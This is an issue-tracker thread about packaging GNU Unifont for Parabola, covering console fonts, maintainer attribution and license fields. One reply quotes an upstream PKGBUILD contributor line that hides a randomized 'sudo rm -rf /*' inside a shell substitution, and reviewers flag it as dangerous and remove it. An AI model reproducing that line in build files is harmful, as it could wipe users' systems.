Packaging Request #3317

[unifont] Packaging GNU Unifont

wael - 8 months ago - . Updated 6 months ago.

% Done:



GNU unifont can be a fully free alternative to terminus while also supporting a wider range of outputs.
It is packaged in the AUR here:
License is GPLv2+.


PKGBUILD (4.39 KB) PKGBUILD wael, 2022-08-14 05:03 AM
PKGBUILD (4.4 KB) PKGBUILD wael, 2022-08-14 05:24 AM
PKGBUILD (4.66 KB) PKGBUILD wael, 2022-08-14 05:28 PM
PKGBUILD (4.63 KB) PKGBUILD wael, 2022-08-27 05:47 PM
PKGBUILD (4.65 KB) PKGBUILD wael, 2022-08-28 06:12 AM



Updated by bill-auger 7 months ago

so this font works in the linux VT console ?


Updated by wael 7 months ago

bill-auger wrote:

so this font works in the linux VT console ?

IIRC it is used in GRUB on Ubuntu (or was in the past).
Checking the website, there is a PSF version too, which means that one can be packaged for the console:


Updated by bill-auger 7 months ago

i ask, because you described it as a replacement for terminus
font - terminus font is the only large bitmap font that can be
used in a VT; but it is lacking most non-ASCII glyphs

i dont see any value of adding yet another GUI font; but if it
is a more complete large bitmap font than terminus font, that
would increase its desirability


Updated by wael 7 months ago

I've managed to package and test the PSF version on the console, it works fine (and looks better than terminus IMO, as it is slimmer).
I've done a split package based on a bunch of packages from the AUR (with attribution, of course), while also making sure to tend to license handling (FOSS, OFL 1.1 license).
This PKGBUILD effectively generates packages from the OTF, TTF, BDF, PSF, HEX and PCF versions of the font, while also generating a utils package for the font.
An obvious advantage over Terminus is not only that this is maintained on GNU Savannah, but also that it has UTF-8 support.


Updated by bill-auger 7 months ago

ok that looks good, but dont keep 'Maintainer:' as anyone unrelated to parabola - put either yourself or 'Parabola Hackers' as the 'Maintainer:' - if the PKGBUILD is based on another, make the original Maintainer like such:

# Maintainer(arch):
# Maintainer(archarm):
# Maintainer(arch32):
# Maintainer(artix):
# Maintainer(aur):

that is to indicate to readers, where to find the original PKGBUILD to diff new versions against, presuming that the original PKGBUILD is still maintained - i plan to make tool someday which will parse those IDs from the parens, and fetch the latest version from where ever

in this case it was derived from multiple PKGBUILDs combined, so that is not yet enough information to locate the upstream PKGBUILD - in that case i would also make a note of the original package names - maybe for such special cases, a new syntax could be introduced like # Maintainer(aur:pkgname):, to specify them for the tool to parse


Updated by wael 7 months ago

Fixed the maintainer attribution, I don't mind maintaining the package for Parabola either :)


Updated by bill-auger 7 months ago

on the AUR, this is multiple PKGBUILDs, yes? - what were those package names that you used as a reference?

there are only two AUR maintainers listed

# Maintainer(aur): neeshy 
# Maintainer(aur): Carlos Aznarán

for the following 7 packages

but the AUR shows those package names having 4 different maintainers
bdf-unifont     14.0.04-1     carlosal1015
unifont-utils     14.0.04-1     neeshy
psf-unifont     14.0.04-1     neeshy
pcf-unifont     14.0.04-1     neeshy
hex-unifont     14.0.04-1     neeshy
ttf-unifont     14.0.04-1     Morn
otb-unifont     14.0.01-1     Ckat

also, 'otf-unifont' is presumably a typo - should be 'otb-unifont', yes?


Updated by wael 7 months ago

I used the two attributed packages as a base, but seeing that it was a split package and I looked into the packaged files from the official distribution from unifont I just packaged it accordingly.
In any way, I'll add the attribution and fix the typo.


Updated by wael 7 months ago

Nevermind, apparently otb is a typo or compiled manually.
OTF and TTF are precompiled anyway, fixed and attached.


Updated by GNUtoo 7 months ago


In the last fixed PKGBUILD, the maintainers lines are messed up again.

By the way, the following looks a bit dangerous:

# Contributor: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>

Maybe the rm -rf /* could be removed just in case.

This would make sure that if there is some changes in makepkg or pacman or if users try to somehow source the PKGBUILD with less common shells, it wouldn't create issues.

For the record running source ./PKGBUILD was discussed here at least:

I'll try to build the PKGBUILD and try to see if I find other issues.


Updated by GNUtoo 7 months ago

Building it went fine for me.

By the way, is unifont-utils also under the OFL license?

If so it should probably be installed too like with other packages.

If not the license can be fixed by adding:


inside package_unifont-utils().

When I do that I know it works because after installing the resulting package, pacman -Q -i unifont-utils gives me that:

 Licenses        : GPL2

While after installing bdf-unifont (also from the packages that were built) I have:

Licenses        : GPL2  custom:OFL


Updated by wael 7 months ago

Fixed, added attribution to AUR packgers+contributers.
Set the utils to GPLv2 (without OFL) after inspecting the COPYING file in the source code (which indicated that the utils are licensed under the GPLv2 without OFL - which makes sense).


Updated by bill-auger 7 months ago

Maybe the rm -rf /* could be removed just in case.

yea i noticed that monkey business too - i also thought to delete it


Updated by bill-auger 7 months ago

"Maintainer(parabola)" is not correct - there should be at least one "Maintainer:" and all "Maintainer:" should be associated with parabola

"Contributor(aur)" is also not necessary - it is not important information, where contributions were submitted - some contributions on the AUR came from arch and other forks - its just not correct to assume they all originated on the AUR - those signifiers are not for attribution - the information they convey is not about any project affiliation of the contributor - they are only there to show where to find the upstream changes - it is only important who the maintainer is, and where new upstream changes may be found - just make those all "Contributor:"

i dont like "Contributor(aur): felix" either - it completely omits the email address - i wuold put that back in like:

  1. Contributor: felix <`(( $RANDOM % 6 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg `>

Updated by wael 7 months ago

Added fixes (email + roles/attribution).


Updated by bill-auger 7 months ago

you dont really need to upload a new PKGBUILD for all of these
minor changes that i have been suggesting - i would have changed
that stuff anyways - i only pointing out those minor for the
sake of future packages you offer

although if you were using git, the iterative process like this
is actually very convenient - all of the different PKGBUILDs
attached to this ticket, would simply be amendments to a single
git commit

are you familiar with using git now? - i think packaging requests
would be much easier to handle on a forge or the mailing list -
we actually decided a few months ago, that packaging requests
should not be accepted on the bug tracker


Updated by wael 7 months ago

Sure, no problem.
I've been using git for other purposes for a while, and since I finally figured out how to deal with the email workflow in git, I can start submitting to the mailing list instead.


Updated by bill-auger 6 months ago

  • Status changed from open to fixed

all LGTM - this project is very well-licensed

just to note, according to the README, the license is GPL2-or-later; so the license array should have 'GPL' not 'GPL2' - 'GPL2' would indicate GPLv2-only

Also available in: Atom PDF